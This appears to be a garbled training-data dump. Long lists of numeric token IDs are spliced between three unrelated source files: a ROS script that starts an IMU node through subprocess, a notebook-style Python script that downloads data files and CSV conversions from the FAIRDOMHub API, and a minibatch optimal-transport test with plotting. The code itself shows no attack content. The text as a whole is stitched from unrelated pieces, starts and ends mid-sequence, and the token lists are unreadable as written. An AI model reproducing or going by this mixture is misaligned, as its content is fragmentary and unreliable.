491,
3132,
8324,
29889,
450,
1544,
363,
278,
937,
29892,
1833,
29892,
2446,
470,
12379,
1813,
297,
278,
7331,
6645,
4839,
881,
4529,
372,
29889,
13,
9651,
17140,
18743,
29901,
259,
319,
5993,
1304,
491,
278,
1923,
304,
12266,
278,
1095,
310,
278,
1813,
29889,
438,
15535,
445,
338,
263,
14334,
470,
385,
3553,
541,
372,
338,
451,
9078,
304,
1906,
29889,
910,
3443,
881,
451,
367,
3342,
491,
3132,
8324,
29889,
450,
1544,
363,
278,
937,
29892,
1833,
29892,
2446,
470,
12379,
1813,
297,
278,
7331,
6645,
4839,
881,
4529,
372,
29889,
13,
4706,
14550,
13,
4706,
565,
3564,
338,
6213,
29901,
13,
9651,
12020,
8527,
1204,
18552,
292,
13,
13,
4706,
565,
3132,
338,
6213,
29901,
13,
9651,
12020,
12477,
1204,
18552,
292,
13,
13,
4706,
736,
1583,
3032,
657,
29918,
3827,
29898,
1311,
3032,
3560,
29892,
3564,
29892,
1583,
3032,
978,
29892,
3132,
29892,
525,
3018,
2416,
20570,
742,
610,
1516,
3790,
29915,
546,
5074,
2396,
639,
29918,
3488,
1800,
13,
13,
1678,
822,
4959,
29898,
1311,
29892,
3564,
29922,
8516,
29892,
3132,
29922,
8516,
29892,
639,
29918,
3488,
29922,
29941,
29900,
1125,
13,
4706,
14550,
13,
4706,
7106,
278,
4959,
6942,
411,
445,
3132,
29889,
13,
4706,
14550,
13,
4706,
565,
3564,
338,
6213,
29901,
13,
9651,
12020,
8527,
1204,
18552,
292,
13,
13,
4706,
565,
3132,
338,
6213,
29901,
13,
9651,
12020,
12477,
1204,
18552,
292,
13,
13,
4706,
736,
1583,
3032,
657,
29918,
3827,
29898,
1311,
3032,
3560,
29892,
3564,
29892,
1583,
3032,
978,
29892,
3132,
29892,
525,
13604,
742,
610,
1516,
3790,
29915,
546,
5074,
2396,
639,
29918,
3488,
1800,
13,
13,
1678,
822,
6993,
29918,
13604,
29898,
1311,
29892,
3564,
29922,
8516,
29892,
3132,
29922,
8516,
29892,
3064,
8357,
29922,
29941,
29953,
29900,
29900,
29892,
639,
29918,
3488,
29922,
29941,
29900,
1125,
13,
4706,
14550,
13,
4706,
7106,
278,
4959,
6942,
411,
445,
3132,
29889,
13,
4706,
14550,
13,
4706,
565,
3564,
338,
6213,
29901,
13,
9651,
12020,
8527,
1204,
18552,
292,
13,
13,
4706,
565,
3132,
338,
6213,
29901,
13,
9651,
12020,
12477,
1204,
18552,
292,
13,
13,
4706,
565,
3064,
8357,
1405,
29871,
29906,
29945,
29929,
29906,
29900,
29900,
29900,
29901,
13,
9651,
3064,
8357,
353,
29871,
29906,
29945,
29929,
29906,
29900,
29900,
29900,
29871,
13,
13,
4706,
736,
1583,
3032,
657,
29918,
3827,
29898,
1311,
3032,
3560,
29892,
3564,
29892,
1583,
3032,
978,
29892,
3132,
29892,
525,
8926,
13634,
742,
610,
1516,
3790,
29915,
3706,
8357,
2396,
3064,
8357,
29892,
525,
546,
5074,
2396,
639,
29918,
3488,
1800,
13,
13,
1678,
822,
23316,
1270,
29918,
18434,
29898,
1311,
29892,
3564,
29922,
8516,
29892,
3132,
29922,
8516,
29892,
260,
29900,
29922,
29900,
29892,
260,
29896,
29922,
29900,
29892,
3064,
8357,
29922,
29941,
29953,
29900,
29900,
1125,
13,
4706,
14550,
13,
4706,
7106,
278,
23316,
1270,
4955,
363,
263,
3132,
29889,
29871,
13,
4706,
450,
23316,
1270,
848,
338,
515,
263,
4559,
310,
29871,
29906,
29995,
310,
23912,
322,
338,
27831,
964,
29871,
29946,
12469,
13997,
29901,
3239,
29892,
1900,
7225,
29892,
4863,
29892,
7314,
29889,
29871,
13,
4706,
23732,
1438,
13997,
278,
4559,
29881,
18203,
2613,
2153,
526,
20968,
287,
491,
23316,
1270,
297,
3533,
21462,
29889,
13,
4706,
14550,
13,
4706,
565,
3564,
338,
6213,
29901,
13,
9651,
12020,
8527,
1204,
18552,
292,
13,
13,
4706,
565,
3132,
338,
6213,
29901,
13,
9651,
12020,
12477,
1204,
18552,
292,
13,
13,
4706,
610,
1516,
353,
6571,
13,
13,
4706,
565,
260,
29900,
1405,
29871,
29900,
322,
260,
29896,
1405,
29871,
29900,
29901,
13,
9651,
610,
1516,
29889,
5504,
3319,
13,
18884,
525,
29873,
29900,
2396,
260,
29900,
29892,
13,
18884,
525,
29873,
29896,
2396,
260,
29896,
13,
9651,
5615,
13,
4706,
1683,
29901,
13,
9651,
610,
1516,
29889,
5504,
3319,
13,
18884,
525,
3706,
8357,
2396,
3064,
8357,
13,
9651,
5615,
13,
13,
4706,
736,
1583,
3032,
657,
29918,
3827,
29898,
1311,
3032,
3560,
29892,
3564,
29892,
1583,
3032,
978,
29892,
3132,
29892,
525,
29880,
2579,
1270,
20570,
742,
610,
1516,
29922,
862,
1516,
29897,
13,
13,
1678,
822,
8898,
29898,
1311,
29892,
3564,
29922,
8516,
29892,
3132,
29922,
8516,
29892,
4742,
29918,
22197,
29922,
8516,
29892,
2318,
29918,
22197,
29922,
8516,
29892,
3064,
8357,
29922,
29941,
29953,
29900,
29900,
1125,
13,
4706,
14550,
13,
4706,
7106,
278,
8898,
9859,
304,
263,
3132,
373,
278,
3564,
29889,
13,
13,
4706,
6323,
13,
13,
4706,
10318,
278,
8898,
9859,
304,
263,
3132,
373,
278,
3564,
29889,
13,
13,
4706,
349,
1718,
25797,
4945,
29903,
13,
9651,
4742,
15644,
29901,
259,
450,
2318,
8898,
313,
8809,
7454,
12652,
29892,
15658,
287,
29892,
21981,
29892,
6431,
8898,
29897,
13,
9651,
2318,
15644,
1204,
29901,
29871,
960,
4742,
15644,
1828,
338,
731,
304,
525,
4782,
8898,
29915,
445,
1828,
338,
1304,
304,
6084,
278,
2318,
3553,
29889,
13,
9651,
3064,
8357,
29901,
539,
450,
3064,
8357,
363,
607,
13154,
674,
367,
6699,
287,
29889,
19928,
367,
297,
6923,
322,
3109,
1135,
470,
5186,
304,
263,
4098,
313,
29906,
29945,
29929,
29906,
29900,
29900,
29900,
6923,
467,
13,
4706,
14550,
13,
4706,
565,
3564,
338,
6213,
29901,
13,
9651,
12020,
8527,
1204,
18552,
292,
13,
13,
4706,
565,
3132,
338,
6213,
29901,
13,
9651,
12020,
4326,
7061,
18552,
292,
13,
13,
4706,
565,
3064,
8357,
1405,
29871,
29906,
29945,
29929,
29906,
29900,
29900,
29900,
29901,
13,
9651,
3064,
8357,
353,
29871,
29906,
29945,
29929,
29906,
29900,
29900,
29900,
29871,
13,
13,
4706,
610,
1516,
353,
426,
13,
9651,
525,
3706,
8357,
2396,
3064,
8357,
13,
4706,
500,
13,
13,
4706,
565,
4742,
29918,
22197,
1275,
525,
4782,
8898,
2396,
13,
9651,
610,
1516,
29889,
5504,
3319,
13,
18884,
525,
10141,
15644,
2396,
4742,
29918,
22197,
29892,
13,
18884,
525,
2972,
15644,
1204,
2396,
2318,
29918,
22197,
13,
9651,
5615,
13,
4706,
25342,
4742,
29918,
22197,
338,
451,
6213,
29901,
13,
9651,
610,
1516,
29889,
5504,
3319,
13,
18884,
525,
10141,
15644,
2396,
4742,
29918,
22197,
13,
9651,
5615,
13,
13,
4706,
736,
1583,
3032,
657,
29918,
3827,
29898,
1311,
3032,
3560,
29892,
3564,
29892,
1583,
3032,
978,
29892,
3132,
29892,
525,
22197,
742,
610,
1516,
29922,
862,
1516,
29897,
13,
13,
1678,
822,
8536,
1161,
29918,
5150,
29918,
4882,
29898,
1311,
29892,
3564,
29922,
8516,
29892,
3132,
29922,
8516,
29892,
17971,
333,
29922,
8516,
29892,
338,
29918,
8921,
1891,
29922,
8824,
1125,
13,
4706,
14550,
13,
4706,
7106,
278,
8536,
1161,
28733,
363,
263,
3132,
29892,
363,
1269,
5886,
1367,
896,
29915,
345,
6942,
411,
1549,
8536,
1161,
29889,
13,
13,
4706,
6323,
13,
13,
4706,
10318,
263,
3132,
29915,
29879,
8536,
1161,
28733,
29889,
13,
13,
4706,
349,
1718,
25797,
4945,
29903,
13,
9651,
17971,
4841,
29901,
29871,
450,
3646,
5886,
1367,
29879,
29889,
1152,
1269,
5886,
1367,
988,
338,
13720,
1891,
338,
1565,
29892,
278,
1518,
12232,
931,
674,
29871,
13,
462,
1678,
6336,
367,
731,
5034,
304,
278,
5886,
1367,
29915,
29879,
8536,
1161,
10868,
29889,
259,
13,
462,
268,
13,
462,
1678,
338,
13720,
1891,
29901,
1570,
28733,
4660,
363,
5886,
1367,
313,
3009,
29892,
2089,
467,
13,
4706,
14550,
13,
4706,
565,
3564,
338,
6213,
29901,
13,
9651,
12020,
8527,
1204,
18552,
292,
13,
13,
4706,
565,
3132,
338,
6213,
29901,
13,
9651,
12020,
4326,
7061,
18552,
292,
13,
13,
4706,
565,
17971,
333,
338,
451,
6213,
29901,
13,
9651,
2767,
353,
426,
13,
18884,
525,
893,
4841,
2396,
426,
13,
462,
1678,
17971,
333,
29901,
11117,
275,
13720,
1891,
2396,
338,
29918,
8921,
1891,
29913,
13,
18884,
500,
13,
9651,
500,
13,
9651,
736,
1583,
3032,
649,
29918,
3827,
29898,
1311,
3032,
3560,
29892,
3564,
29892,
1583,
3032,
978,
29892,
3132,
29892,
525,
23579,
1161,
25471,
5709,
742,
2767,
29922,
5504,
29897,
13,
4706,
1683,
29901,
13,
9651,
736,
1583,
3032,
657,
29918,
3827,
29898,
1311,
3032,
3560,
29892,
3564,
29892,
1583,
3032,
978,
29892,
3132,
29892,
525,
23579,
1161,
25471,
5709,
1495,
13,
13,
13,
13,
2
] |
generators/python/scripts/brain/calibrate_imu.py | EndlessLoops/blockly | 1 | 193189 | <reponame>EndlessLoops/blockly
import rosnode
import subprocess
import time
ros_nodes = rosnode.get_node_names()
if not '/imu_talker' in ros_nodes:
command='/home/erle/spider_ws/install_isolated/share/ros_erle_imu/imu_talker'
process = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE)
time.sleep(10)
| [
1,
529,
276,
1112,
420,
29958,
5044,
2222,
3410,
3554,
29914,
1271,
368,
13,
5215,
14652,
3177,
13,
5215,
1014,
5014,
13,
5215,
931,
13,
13,
1883,
29918,
18010,
353,
14652,
3177,
29889,
657,
29918,
3177,
29918,
7039,
580,
13,
361,
451,
8207,
326,
29884,
29918,
29873,
2235,
261,
29915,
297,
14652,
29918,
18010,
29901,
13,
1678,
1899,
2433,
29914,
5184,
29914,
261,
280,
29914,
1028,
1241,
29918,
5652,
29914,
6252,
29918,
275,
324,
630,
29914,
13653,
29914,
1883,
29918,
261,
280,
29918,
326,
29884,
29914,
326,
29884,
29918,
29873,
2235,
261,
29915,
13,
1678,
1889,
353,
1014,
5014,
29889,
29925,
3150,
29898,
6519,
29892,
6473,
29922,
5574,
29892,
27591,
29922,
1491,
5014,
29889,
2227,
4162,
29897,
13,
1678,
931,
29889,
17059,
29898,
29896,
29900,
29897,
13,
2
] |
03_fetching_data.py | FAIRdom/api-workshop | 2 | 81267 | # -*- coding: utf-8 -*-
"""03 Fetching data.ipynb
Automatically generated by Colaboratory.
Original file is located at
https://colab.research.google.com/drive/1IYGWv5misDPAulnG_jfYOCtx5hxKl3Fr
# Accessing and downloading Data
* Finding the route to get hold of the data
* Converting spreadsheets to CSV
"""
import requests
import json
import string
import io
# Importing the libraries we need to format the data in a more readable way.
import pandas as pd
from pandas.io.json import json_normalize
from IPython.display import HTML
base_url = 'https://fairdomhub.org'
def json_for_resource(type, id):
headers = {"Accept": "application/vnd.api+json",
"Accept-Charset": "ISO-8859-1"}
r = requests.get(base_url + "/" + type + "/" + str(id), headers=headers)
r.raise_for_status()
return r.json()
"""Fetch the JSON for the Data file resource at https://fairdomhub.org/data_files/1049
We print out title to be sure we have the correct item.
"""
data_file_id = 1049
result = json_for_resource('data_files',data_file_id)
title = result['data']['attributes']['title']
title
"""The attributes contain a 'content_blobs' block. Content Blob is the name we use in SEEK for the entity that corresponds to a file or URL.
Note that content_blobs is always an array. Models can currently contain multiple content blobs (multiple files), and we plan to provide the same support to Data files and other assets in the future.
"""
result['data']['attributes']
"""Here we focus on the details about a single content blob:
* **content_type** - this is the mime type of the file, or the whatever the URL points to
* **link** - this is the link that describes the content blob route
* **md5sum** - an MD5 checksum of the contents
* **sha1sum** - a SHA1 based checksum of the contents. These checksums are useful for checking the file downloaded is correct, and there hasn't been an error or has been modified since being registered with SEEK.
* **original_filename** - the filename if the file, as it was when registered with SEEK
* **size** - the size of the file in bytes
* **url** - url to an external resource, if the item was registered with SEEK using a URL rather than a direct upload
In this case, this is an *Excel XLSX* file, called *1205 amino acid omission pyogenes.xlsx*, and is about 59k
"""
blob = result['data']['attributes']['content_blobs'][0]
blob
"""The route to directly download a file is the content blob route, with the */download* action appended. This is always the case for anything downloadable in SEEK.
In this example we display the URL to download the content blob for generete a HTML hyperlink for it.
Although in this case we download the content blob itself directly, it is also possible to download with https://fairdomhub.org/data_files/1049/download . Other than Models, this currently results in downloading a single file. For models, a ZIP file is generated that contains all files. To be future proof, we recommend downloading individual files through the content-blob route.
"""
link = blob['link']
filename = blob['original_filename']
download_link = link+"/download"
print("Download link is: " + download_link + "\n")
HTML("<a href='"+ download_link + "'>Download + " + filename + "</a>")
"""As we saw earlier. this Data file is an Excel spreadsheet. Where data is an Excel spreadsheet, it can be converted to a Comma Seperated File (CSV), by requesting this format through content negotiation.
In this case, we request a GET to https://fairdomhub.org/data_files/1049/content_blobs/1518, but instead of requesting JSON we use an Accept: header of 'text/csv'. A parameter 'sheet' can be included to access different sheets, which if missed always defaults to the first sheet.
Here we request CSV and display the first sheet in a table using the Pandas module. (NaN is just a blank cell in the spreadsheet).
"""
headers = { "Accept": "text/csv" }
r = requests.get(link, headers=headers, params={'sheet':'1'})
r.raise_for_status()
csv = pd.read_csv(io.StringIO(r.content.decode('utf-8')))
csv
"""# Exercise 3
* Update the notebook to display the content blob details and CSV for sheet 2 of https://fairdomhub.org/data_files/2222
* Update and look at the multiple model file content blobs for https://fairdomhub.org/models/308 (don't worry if the csv step fails)
""" | [
1,
396,
448,
29930,
29899,
14137,
29901,
23616,
29899,
29947,
448,
29930,
29899,
13,
15945,
29908,
29900,
29941,
383,
3486,
292,
848,
29889,
666,
948,
29890,
13,
13,
28451,
19574,
5759,
491,
1530,
3717,
7606,
29889,
13,
13,
26036,
934,
338,
5982,
472,
13,
1678,
2045,
597,
1054,
370,
29889,
690,
2842,
29889,
3608,
29889,
510,
29914,
21594,
29914,
29896,
29902,
29979,
29954,
29956,
29894,
29945,
26737,
29928,
7228,
352,
29876,
29954,
29918,
29926,
29888,
29979,
20166,
7508,
29945,
29882,
29916,
29968,
29880,
29941,
14438,
13,
13,
29937,
11028,
292,
322,
28536,
3630,
13,
13,
13,
13,
29930,
259,
383,
4015,
278,
5782,
304,
679,
4808,
310,
278,
848,
13,
29930,
259,
1281,
369,
1259,
9677,
19360,
304,
16874,
13,
15945,
29908,
13,
13,
5215,
7274,
13,
5215,
4390,
13,
5215,
1347,
13,
13,
5215,
12013,
13,
13,
29937,
16032,
292,
278,
9562,
591,
817,
304,
3402,
278,
848,
297,
263,
901,
19909,
982,
29889,
29871,
13,
5215,
11701,
408,
10518,
13,
3166,
11701,
29889,
601,
29889,
3126,
1053,
4390,
29918,
8945,
675,
13,
13,
3166,
5641,
1656,
29889,
4990,
1053,
4544,
13,
13,
3188,
29918,
2271,
353,
525,
991,
597,
29888,
1466,
3129,
29882,
431,
29889,
990,
29915,
13,
13,
1753,
4390,
29918,
1454,
29918,
10314,
29898,
1853,
29892,
1178,
1125,
268,
13,
13,
29871,
9066,
353,
8853,
23965,
1115,
376,
6214,
29914,
29894,
299,
29889,
2754,
29974,
3126,
613,
13,
965,
376,
23965,
29899,
5914,
842,
1115,
376,
29096,
29899,
29947,
29947,
29945,
29929,
29899,
29896,
9092,
13,
29871,
364,
353,
7274,
29889,
657,
29898,
3188,
29918,
2271,
718,
5591,
29908,
718,
1134,
718,
5591,
29908,
718,
851,
29898,
333,
511,
9066,
29922,
13662,
29897,
13,
29871,
364,
29889,
22692,
29918,
1454,
29918,
4882,
580,
13,
29871,
736,
364,
29889,
3126,
580,
13,
13,
15945,
29908,
20927,
278,
4663,
363,
278,
3630,
934,
6503,
472,
2045,
597,
29888,
1466,
3129,
29882,
431,
29889,
990,
29914,
1272,
29918,
5325,
29914,
29896,
29900,
29946,
29929,
13,
13,
4806,
1596,
714,
3611,
304,
367,
1854,
591,
505,
278,
1959,
2944,
29889,
13,
15945,
29908,
13,
13,
1272,
29918,
1445,
29918,
333,
353,
29871,
29896,
29900,
29946,
29929,
13,
13,
2914,
353,
4390,
29918,
1454,
29918,
10314,
877,
1272,
29918,
5325,
742,
1272,
29918,
1445,
29918,
333,
29897,
13,
13,
3257,
353,
1121,
1839,
1272,
16215,
15697,
16215,
3257,
2033,
13,
13,
3257,
13,
13,
15945,
29908,
1576,
8393,
1712,
263,
525,
3051,
29918,
10054,
29879,
29915,
2908,
29889,
10576,
350,
2127,
338,
278,
1024,
591,
671,
297,
3725,
29923,
29968,
363,
278,
7855,
393,
16161,
304,
263,
934,
470,
3988,
29889,
13,
13,
9842,
393,
2793,
29918,
10054,
29879,
338,
2337,
385,
1409,
29889,
3382,
1379,
508,
5279,
1712,
2999,
2793,
23755,
29879,
313,
20787,
2066,
511,
322,
591,
3814,
304,
3867,
278,
1021,
2304,
304,
3630,
2066,
322,
916,
21608,
297,
278,
5434,
29889,
13,
15945,
29908,
13,
13,
2914,
1839,
1272,
16215,
15697,
2033,
13,
13,
15945,
29908,
10605,
591,
8569,
373,
278,
4902,
1048,
263,
2323,
2793,
23755,
29901,
13,
13,
29930,
3579,
3051,
29918,
1853,
1068,
448,
445,
338,
278,
286,
603,
1134,
310,
278,
934,
29892,
470,
278,
6514,
278,
3988,
3291,
304,
13,
29930,
29871,
3579,
2324,
1068,
448,
445,
338,
278,
1544,
393,
16612,
278,
2793,
23755,
5782,
13,
29930,
29871,
3579,
3487,
29945,
2083,
1068,
448,
385,
20672,
29945,
1423,
2083,
310,
278,
8118,
13,
29930,
3579,
17051,
29896,
2083,
1068,
448,
263,
317,
15715,
29896,
2729,
1423,
2083,
310,
278,
8118,
29889,
4525,
1423,
2083,
29879,
526,
5407,
363,
8454,
278,
934,
16532,
338,
1959,
29892,
322,
727,
22602,
29915,
29873,
1063,
385,
1059,
470,
756,
1063,
9120,
1951,
1641,
15443,
411,
3725,
29923,
29968,
29889,
13,
29930,
3579,
13492,
29918,
9507,
1068,
448,
278,
10422,
565,
278,
934,
29892,
408,
372,
471,
746,
15443,
411,
3725,
29923,
29968,
13,
29930,
3579,
2311,
1068,
448,
278,
2159,
310,
278,
934,
297,
6262,
13,
29930,
3579,
2271,
1068,
448,
3142,
304,
385,
7029,
6503,
29892,
565,
278,
2944,
471,
15443,
411,
3725,
29923,
29968,
773,
263,
3988,
3265,
1135,
263,
1513,
6441,
13,
13,
797,
445,
1206,
29892,
445,
338,
385,
334,
22926,
1060,
8547,
29990,
29930,
934,
29892,
2000,
334,
29896,
29906,
29900,
29945,
626,
1789,
22193,
2703,
2333,
11451,
6352,
267,
29889,
20267,
29916,
15966,
322,
338,
1048,
29871,
29945,
29929,
29895,
13,
15945,
29908,
13,
13,
10054,
353,
1121,
1839,
1272,
16215,
15697,
16215,
3051,
29918,
10054,
29879,
2033,
29961,
29900,
29962,
13,
13,
10054,
13,
13,
15945,
29908,
1576,
5782,
304,
4153,
5142,
263,
934,
338,
278,
2793,
23755,
5782,
29892,
411,
278,
3776,
10382,
29930,
3158,
623,
2760,
29889,
910,
338,
2337,
278,
1206,
363,
3099,
5142,
519,
297,
3725,
29923,
29968,
29889,
13,
13,
797,
445,
1342,
591,
2479,
278,
3988,
304,
5142,
278,
2793,
23755,
363,
1176,
2650,
263,
4544,
11266,
2324,
363,
372,
29889,
13,
13,
2499,
3592,
297,
445,
1206,
591,
5142,
278,
2793,
23755,
3528,
4153,
29892,
372,
338,
884,
1950,
304,
5142,
411,
2045,
597,
29888,
1466,
3129,
29882,
431,
29889,
990,
29914,
1272,
29918,
5325,
29914,
29896,
29900,
29946,
29929,
29914,
10382,
869,
5901,
1135,
3382,
1379,
29892,
445,
5279,
2582,
297,
28536,
263,
2323,
934,
29889,
1152,
4733,
29892,
263,
796,
5690,
934,
338,
5759,
393,
3743,
599,
2066,
29889,
1763,
367,
5434,
5296,
29892,
591,
6907,
28536,
5375,
2066,
1549,
278,
2793,
29899,
10054,
5782,
29889,
13,
15945,
29908,
13,
13,
2324,
353,
23755,
1839,
2324,
2033,
13,
9507,
353,
23755,
1839,
13492,
29918,
9507,
2033,
13,
13,
10382,
29918,
2324,
353,
1544,
13578,
29914,
10382,
29908,
13,
13,
2158,
703,
22954,
1544,
338,
29901,
376,
718,
5142,
29918,
2324,
718,
6634,
29876,
1159,
13,
13,
7020,
28945,
29874,
2822,
2433,
17969,
5142,
29918,
2324,
718,
376,
11041,
22954,
718,
376,
718,
10422,
718,
25225,
29874,
29958,
1159,
13,
13,
15945,
29908,
2887,
591,
4446,
8859,
29889,
445,
3630,
934,
338,
385,
11388,
9677,
9855,
29889,
6804,
848,
338,
385,
11388,
9677,
9855,
29892,
372,
508,
367,
11543,
304,
263,
422,
655,
922,
546,
630,
3497,
313,
29907,
7597,
511,
491,
2009,
292,
445,
3402,
1549,
2793,
3480,
327,
11685,
29889,
29871,
13,
13,
797,
445,
1206,
29892,
591,
2009,
263,
12354,
304,
2045,
597,
29888,
1466,
3129,
29882,
431,
29889,
990,
29914,
1272,
29918,
5325,
29914,
29896,
29900,
29946,
29929,
29914,
3051,
29918,
10054,
29879,
29914,
29896,
29945,
29896,
29947,
29892,
541,
2012,
310,
2009,
292,
4663,
591,
671,
385,
29848,
29901,
4839,
310,
525,
726,
29914,
7638,
4286,
319,
3443,
525,
9855,
29915,
508,
367,
5134,
304,
2130,
1422,
26718,
29892,
607,
565,
13726,
2337,
21274,
304,
278,
937,
9869,
29889,
13,
13,
10605,
591,
2009,
16874,
322,
2479,
278,
937,
9869,
297,
263,
1591,
773,
278,
349,
7086,
3883,
29889,
313,
19377,
338,
925,
263,
9654,
3038,
297,
278,
9677,
9855,
467,
13,
15945,
29908,
13,
13,
13662,
353,
426,
376,
23965,
1115,
376,
726,
29914,
7638,
29908,
500,
13,
29878,
353,
7274,
29889,
657,
29898,
2324,
29892,
9066,
29922,
13662,
29892,
8636,
3790,
29915,
9855,
22099,
29896,
29915,
1800,
13,
29878,
29889,
22692,
29918,
1454,
29918,
4882,
580,
13,
13,
7638,
353,
10518,
29889,
949,
29918,
7638,
29898,
601,
29889,
1231,
5971,
29898,
29878,
29889,
3051,
29889,
13808,
877,
9420,
29899,
29947,
29915,
4961,
13,
13,
7638,
13,
13,
15945,
29908,
29937,
1222,
6269,
895,
29871,
29941,
13,
13,
13,
13,
29930,
259,
10318,
278,
451,
19273,
304,
2479,
278,
2793,
23755,
4902,
322,
16874,
363,
9869,
29871,
29906,
310,
2045,
597,
29888,
1466,
3129,
29882,
431,
29889,
990,
29914,
1272,
29918,
5325,
29914,
29906,
29906,
29906,
29906,
13,
29930,
259,
10318,
322,
1106,
472,
278,
2999,
1904,
934,
2793,
23755,
29879,
363,
2045,
597,
29888,
1466,
3129,
29882,
431,
29889,
990,
29914,
9794,
29914,
29941,
29900,
29947,
313,
9176,
29915,
29873,
15982,
565,
278,
11799,
4331,
8465,
29897,
13,
15945,
29908,
2
] |
positivity/mbot_with_replacement_test.py | kilianFatras/unbisad_minibatch_sinkhorn_GAN | 6 | 98190 | <reponame>kilianFatras/unbisad_minibatch_sinkhorn_GAN
#Test file for sampling with replacement
import numpy as np
import ot
from utils import all_arr_w_replacement
from mbot_proba import get_div2
import matplotlib.pyplot as plt
###################################
# MAIN
###################################
#%% parameters and data generation
np.random.seed(1980)
ns = 4 # nb samples
nt = ns
m_s = 2
m_t = 2
dev_list = np.linspace(0, np.pi, 100)
# uniform distribution on samples
a, b = ot.unif(ns), ot.unif(nt)
#Test arrangements
all_arr_s = all_arr_w_replacement(ns, m_s)
all_arr_t = all_arr_w_replacement(nt, m_t)
total = 0
for arr_s in all_arr_s:
for arr_t in all_arr_t:
total += np.prod(a[arr_s]) * np.prod(b[arr_t])
print("SANITY PROBA CHECK : ", total)
w_value = np.zeros((1, len(dev_list)))
for id_dev, dev in enumerate(dev_list):
xs = []
xt = []
for i in range(ns):
xs.append([np.cos(2 * i * np.pi/ns), np.sin(2 * i * np.pi/ns)])
xt.append([np.cos(2 * i * np.pi/ns + dev), np.sin(2 * i * np.pi/ns + dev)])
xs = np.array(xs)
xt = np.array(xt)
# Cost matrix
p = 1
M = ot.dist(xs, xt, metric='euclidean')**p
M_s = ot.dist(xs, xs, metric='euclidean')**p
M_t = ot.dist(xt, xt, metric='euclidean')**p
###########################
# TESTS
###########################
divergence = get_div2(a, b, all_arr_s, all_arr_t, m_s, m_t, M, M_s, M_t, p)
print("Expected div mini batch Wasserstein distance : ", divergence)
w_value[0][id_dev] = divergence
plt.plot(dev_list, w_value[0])
plt.title('w value')
plt.xlabel('perturbation value')
plt.ylabel('loss value')
plt.tight_layout()
plt.show()
| [
1,
529,
276,
1112,
420,
29958,
16757,
713,
29943,
271,
3417,
29914,
348,
18809,
328,
29918,
1195,
747,
905,
29918,
29879,
682,
25031,
29918,
29954,
2190,
13,
29937,
3057,
934,
363,
23460,
411,
16920,
13,
13,
5215,
12655,
408,
7442,
13,
5215,
4932,
13,
3166,
3667,
29879,
1053,
599,
29918,
2749,
29918,
29893,
29918,
3445,
9552,
13,
3166,
286,
7451,
29918,
771,
2291,
1053,
679,
29918,
4563,
29906,
13,
5215,
22889,
29889,
2272,
5317,
408,
14770,
13,
13,
13383,
13383,
2277,
29937,
13,
29937,
14861,
1177,
13,
13383,
13383,
2277,
29937,
13,
29937,
7686,
4128,
322,
848,
12623,
13,
13,
9302,
29889,
8172,
29889,
26776,
29898,
29896,
29929,
29947,
29900,
29897,
13,
13,
1983,
353,
29871,
29946,
396,
302,
29890,
11916,
13,
593,
353,
17534,
13,
29885,
29918,
29879,
353,
29871,
29906,
13,
29885,
29918,
29873,
353,
29871,
29906,
13,
3359,
29918,
1761,
353,
7442,
29889,
1915,
3493,
29898,
29900,
29892,
7442,
29889,
1631,
29892,
29871,
29896,
29900,
29900,
29897,
13,
13,
29937,
9090,
4978,
373,
11916,
13,
29874,
29892,
289,
353,
4932,
29889,
348,
361,
29898,
1983,
511,
4932,
29889,
348,
361,
29898,
593,
29897,
13,
13,
29937,
3057,
15196,
4110,
13,
497,
29918,
2749,
29918,
29879,
353,
599,
29918,
2749,
29918,
29893,
29918,
3445,
9552,
29898,
1983,
29892,
286,
29918,
29879,
29897,
13,
497,
29918,
2749,
29918,
29873,
353,
599,
29918,
2749,
29918,
29893,
29918,
3445,
9552,
29898,
593,
29892,
286,
29918,
29873,
29897,
13,
13,
7827,
353,
29871,
29900,
13,
1454,
3948,
29918,
29879,
297,
599,
29918,
2749,
29918,
29879,
29901,
13,
1678,
363,
3948,
29918,
29873,
297,
599,
29918,
2749,
29918,
29873,
29901,
13,
4706,
3001,
4619,
7442,
29889,
10633,
29898,
29874,
29961,
2749,
29918,
29879,
2314,
334,
7442,
29889,
10633,
29898,
29890,
29961,
2749,
29918,
29873,
2314,
13,
2158,
703,
29903,
2190,
11937,
13756,
5688,
23557,
584,
9162,
3001,
29897,
13,
13,
29893,
29918,
1767,
353,
7442,
29889,
3298,
359,
3552,
29896,
29892,
7431,
29898,
3359,
29918,
1761,
4961,
13,
13,
1454,
1178,
29918,
3359,
29892,
2906,
297,
26985,
29898,
3359,
29918,
1761,
1125,
13,
1678,
14492,
353,
5159,
13,
268,
486,
353,
5159,
13,
1678,
363,
474,
297,
3464,
29898,
1983,
1125,
13,
4706,
14492,
29889,
4397,
4197,
9302,
29889,
3944,
29898,
29906,
334,
474,
334,
7442,
29889,
1631,
29914,
1983,
511,
7442,
29889,
5223,
29898,
29906,
334,
474,
334,
7442,
29889,
1631,
29914,
1983,
29897,
2314,
13,
308,
486,
29889,
4397,
4197,
9302,
29889,
3944,
29898,
29906,
334,
474,
334,
7442,
29889,
1631,
29914,
1983,
718,
2906,
511,
7442,
29889,
5223,
29898,
29906,
334,
474,
334,
7442,
29889,
1631,
29914,
1983,
718,
2906,
29897,
2314,
13,
1678,
14492,
353,
7442,
29889,
2378,
29898,
10351,
29897,
13,
268,
486,
353,
7442,
29889,
2378,
29898,
486,
29897,
13,
13,
1678,
396,
9839,
4636,
13,
1678,
282,
353,
29871,
29896,
13,
1678,
341,
353,
4932,
29889,
5721,
29898,
10351,
29892,
29871,
486,
29892,
12714,
2433,
29872,
27511,
1495,
1068,
29886,
13,
1678,
341,
29918,
29879,
353,
4932,
29889,
5721,
29898,
10351,
29892,
14492,
29892,
12714,
2433,
29872,
27511,
1495,
1068,
29886,
13,
1678,
341,
29918,
29873,
353,
4932,
29889,
5721,
29898,
486,
29892,
29871,
486,
29892,
12714,
2433,
29872,
27511,
1495,
1068,
29886,
13,
13,
1678,
835,
13383,
7346,
13,
1678,
396,
17067,
1254,
29903,
13,
1678,
835,
13383,
7346,
13,
13,
1678,
17089,
10238,
353,
679,
29918,
4563,
29906,
29898,
29874,
29892,
289,
29892,
599,
29918,
2749,
29918,
29879,
29892,
599,
29918,
2749,
29918,
29873,
29892,
286,
29918,
29879,
29892,
286,
29918,
29873,
29892,
341,
29892,
341,
29918,
29879,
29892,
341,
29918,
29873,
29892,
282,
29897,
13,
13,
1678,
1596,
703,
1252,
6021,
1933,
20629,
9853,
16124,
5465,
5418,
584,
9162,
17089,
10238,
29897,
13,
13,
1678,
281,
29918,
1767,
29961,
29900,
3816,
333,
29918,
3359,
29962,
353,
